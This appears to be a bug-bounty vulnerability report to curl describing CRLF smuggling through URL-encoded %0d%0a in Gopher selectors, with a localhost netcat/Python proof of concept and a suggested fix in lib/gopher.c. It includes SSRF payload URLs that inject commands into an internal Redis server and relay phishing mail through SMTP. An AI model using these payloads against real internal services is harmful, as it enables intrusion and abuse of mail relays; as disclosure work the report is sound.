curl · Report #3508785
Gopher Protocol Command Injection (SSRF Smuggling)
How it was found
Summary
The curl Gopher protocol handler is vulnerable to command injection through URL-encoded CRLF sequences in the path. This allows an attacker to "smuggle" additional Gopher selectors or arbitrary commands into a single Gopher request. By using %0d%0a in the URL, an attacker can break the line-delimited Gopher protocol and force curl to send multiple distinct request lines to the server.
Affected Component
- File:
lib/gopher.c - Function:
gopher_do - Line: 101
- Vulnerable Code:
Curl_urldecodecall withREJECT_ZEROflag
Vulnerability Details
Root Cause
In lib/gopher.c, the Gopher protocol handler extracts the selector from the URL and decodes it using Curl_urldecode with the REJECT_ZERO flag:
/* lib/gopher.c:101 */
result = Curl_urldecode(newp, 0, &buf_alloc, &buf_len, REJECT_ZERO);
The REJECT_ZERO flag only prevents null bytes (%00) from being decoded. All other control characters, including:
- Carriage Return (
%0d/\r) - Line Feed (
%0a/\n)
are decoded into the raw buffer buf_alloc and subsequently sent to the server.
Attack Mechanism
The Gopher protocol is line-delimited. After decoding the selector, curl sends it to the server followed by a hardcoded CRLF:
/* lib/gopher.c:110 */
result = Curl_xfer_send(data, buf, buf_len, FALSE, &nwritten);
...
/* lib/gopher.c:156 */
result = Curl_xfer_send(data, "\r\n", 2, FALSE, &nwritten);
If an attacker provides a URL like:
gopher://example.com/1/selector%0d%0aINJECTED_COMMAND
The resulting network transmission will be:
selector\r\n
INJECTED_COMMAND\r\n
A standard Gopher server processes each line independently, so it will see:
- A request for
selector - A second, attacker-controlled request for
INJECTED_COMMAND
Proof of Concept
Step 1: Start a Listener
Open a terminal and start a netcat listener to observe the raw protocol traffic:
nc -l -p 7070
Step 2: Execute the Attack
In another terminal, run curl with the malicious Gopher URL:
curl -v "gopher://localhost:7070/1/first-command%0d%0asecond-command"
Step 3: Observe the Result
In the netcat listener terminal, you will see two distinct lines:
first-command
second-command
This proves that the attacker can inject arbitrary commands into the Gopher protocol stream.
Alternative PoC (Python)
You can also use this Python script to verify:
import socket
# Start a simple Gopher server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', 7070))
s.listen(1)
print("Gopher server listening on port 7070...")
conn, addr = s.accept()
data = conn.recv(1024).decode()
print("=== Received Data ===")
print(repr(data))
print("\n=== Parsed Lines ===")
for line in data.split('\r\n'):
if line:
print(f"Command: {line}")
conn.close()
s.close()
Run this script, then execute:
curl "gopher://localhost:7070/1/legitimate%0d%0ainjected%0d%0amalicious"
Expected output:
=== Received Data ===
'legitimate\r\ninjected\r\nmalicious\r\n'
=== Parsed Lines ===
Command: legitimate
Command: injected
Command: malicious
Impact
SSRF Enhancement
This vulnerability significantly enhances Server-Side Request Forgery (SSRF) attacks. If a web application allows users to provide a URL that is fetched by curl, an attacker can:
-
Smuggle commands to internal Gopher servers
- Send multiple queries in a single request
- Bypass rate limiting or logging mechanisms
-
Communicate with other line-delimited internal services
- Redis (if accessible via Gopher port or through port confusion)
- SMTP servers
- Memcached
- Custom internal protocols
-
Bypass security controls
- WAFs that only inspect the URL path
- Logging systems that record only the initial request
Attack Scenarios
Scenario 1: Redis Command Injection
gopher://internal-redis:6379/1/SET%20key%20value%0d%0aGET%20sensitive_data
Scenario 2: SMTP Relay
gopher://mail-server:25/1/MAIL%20FROM:<[email protected]>%0d%0aRCPT%20TO:<[email protected]>%0d%0aDATA%0d%0aSubject:%20Phishing
Recommendation
Fix
Update lib/gopher.c to use REJECT_CTRL or REJECT_CTRL_ZERO instead of REJECT_ZERO in the Curl_urldecode call:
/* lib/gopher.c:101 - FIXED */
result = Curl_urldecode(newp, 0, &buf_alloc, &buf_len, REJECT_CTRL);
This will prevent the decoding of newlines and other control characters that can be used to manipulate the protocol stream.
Verification
After applying the fix, the PoC should fail with an error indicating that control characters are not allowed in the URL.